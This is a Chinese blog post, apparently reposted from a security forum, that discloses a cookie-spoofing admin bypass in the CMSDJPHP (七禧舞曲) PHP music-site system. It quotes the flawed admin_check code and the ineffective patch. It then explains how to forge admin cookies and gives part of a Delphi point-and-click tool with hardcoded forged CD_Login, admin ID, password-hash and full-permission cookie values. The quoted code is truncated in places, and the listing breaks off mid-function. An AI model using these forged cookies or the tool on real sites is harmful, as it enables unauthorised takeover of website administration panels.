七禧舞曲 php,CMSDJPHP 七禧舞曲管理系统cookies欺骗漏洞 0day

小鱼儿 2023-01-13 09:12 90阅读 0赞

应该是通杀所有PHP版本 。最新版本没有测试。从补丁来看，漏洞依然存在。

这是一个神级漏洞，体现了程序员的神逻辑。

看代码

admin/admin\_check.php

$CD\_Version='V1.0';

$CD\_Build='20100501';

function admincheck($CD\_Permission)\{

if($\_COOKIE\['CD\_Permission'\]<>'')\{

$menuarr=explode(',',$\_COOKIE\['CD\_Permission'\]);

$adminlogined='False';

for($i=0;$i

if($menuarr\[$i\]==$CD\_Permission)\{$adminlogined='True';\}

if($adminlogined=='False')\{AdminAlert('出错了，您没有进入本页面的权限！','',2);\}

\}else\{

AdminAlert('出错了，您没有进入本页面的权限！','',2);

if(empty($\_COOKIE\['CD\_AdminID'\]))\{

AdminAlert('您没有进入本页面的权限，本次操作已被记录！','admin\_login.php',0);

\}elseif($\_COOKIE\['CD\_Login'\]!=md5($\_COOKIE\['CD\_AdminID'\].$\_COOKIE\['CD\_AdminUserName'\].$\_COOKIE\['CD\_AdminPassWord'\].$\_COOKIE\['CD\_Permission'\]))\{//亮点在这句

AdminAlert('您没有进入本页面的权限，本次操作已被记录！','admin\_login.php',0);

\}刚刚看的官网最新补丁，注释了两条无关的代码而已：

$CD\_Version="V1.1";

$CD\_Build="20121208";

//if(!eregi($\_SERVER\['SERVER\_NAME'\],$\_SERVER\['HTTP\_REFERER'\]))\{

//        echo "

对不起，为了系统安全，不允许直接输入地址访问本系统的后台管理页面。

//        exit();

//\}

function admincheck($CD\_Permission)\{

if($\_COOKIE\['CD\_Permission'\]<>"")\{

$menuarr=explode(",",$\_COOKIE\['CD\_Permission'\]);

$adminlogined="False";

for($i=0;$i

if($menuarr\[$i\]==$CD\_Permission)\{$adminlogined="True";\}

//if($adminlogined=="False")\{AdminAlert("出错了，您没有进入本页面的权限！","",2);\}

\}else\{

//AdminAlert("出错了，您没有进入本页面的权限！","",2);

if(empty($\_COOKIE\['CD\_AdminID'\]))\{

AdminAlert("您没有进入本页面的权限，本次操作已被记录！","admin\_login.php",0);

\}elseif($\_COOKIE\['CD\_Login'\]!=md5($\_COOKIE\['CD\_AdminID'\].$\_COOKIE\['CD\_AdminUserName'\].$\_COOKIE\['CD\_AdminPassWord'\].$\_COOKIE\['CD\_Permission'\]))\{

AdminAlert("您没有进入本页面的权限，本次操作已被记录！","admin\_login.php",0);

\}利用，自己构造一个能让它计算正确的cookies，实在不知道安装一个系统。然后登陆一次。提取自己的cookies。使用delphi 画个webbrowser控件，设置下cookies，傻瓜化工具就诞生了。

unit uMain;

T00ls首发

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, bsSkinData, BusinessSkinForm, bsSkinCtrls, OleCtrls, SHDocVw,

StdCtrls, Mask, bsSkinBoxCtrls,MSHTML;

type

TfrmMyFish = class(TForm)

bsBusinessSkinForm1: TbsBusinessSkinForm;

bsCompressedStoredSkin1: TbsCompressedStoredSkin;

bsSkinData1: TbsSkinData;

pnlContorl: TbsSkinPanel;

pnlBrowser: TbsSkinPanel;

wbAdmin: TWebBrowser;

lblURL: TbsSkinStdLabel;

edtURL: TbsSkinEdit;

btnGo: TbsSkinSpeedButton;

lblFishAdmin: TbsSkinStdLabel;

edtFishAdmin: TbsSkinEdit;

pnlLoading: TbsSkinPanel;

GaugeLoading: TbsSkinGauge;

lblLoading: TbsSkinStdLabel;

procedure btnGoClick(Sender: TObject);

procedure FormResize(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure wbAdminProgressChange(Sender: TObject; Progress,

ProgressMax: Integer);

private

\{ Private declarations \}

public

\{ Public declarations \}

end;

const

COOKIE\_HEAD = 'CD\_Login=1df476c11ce215ad5a402afe5f370148; ';

COOKIE\_PASS = 'CD\_AdminID=1; CD\_AdminUserName=admin; CD\_AdminPassWord=7622f895d131b0155232085e7b4a7654; CD\_Permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11; ';

var

frmMyFish: TfrmMyFish;

Doc: IHTMLDocument2;

IsTrue: Boolean;

iP: Integer;

implementation

\{$R \*.dfm\}

function EncDecCode(Text:String; XorPass: Integer): String;

var

i, Len: integer;

begin

Result:='';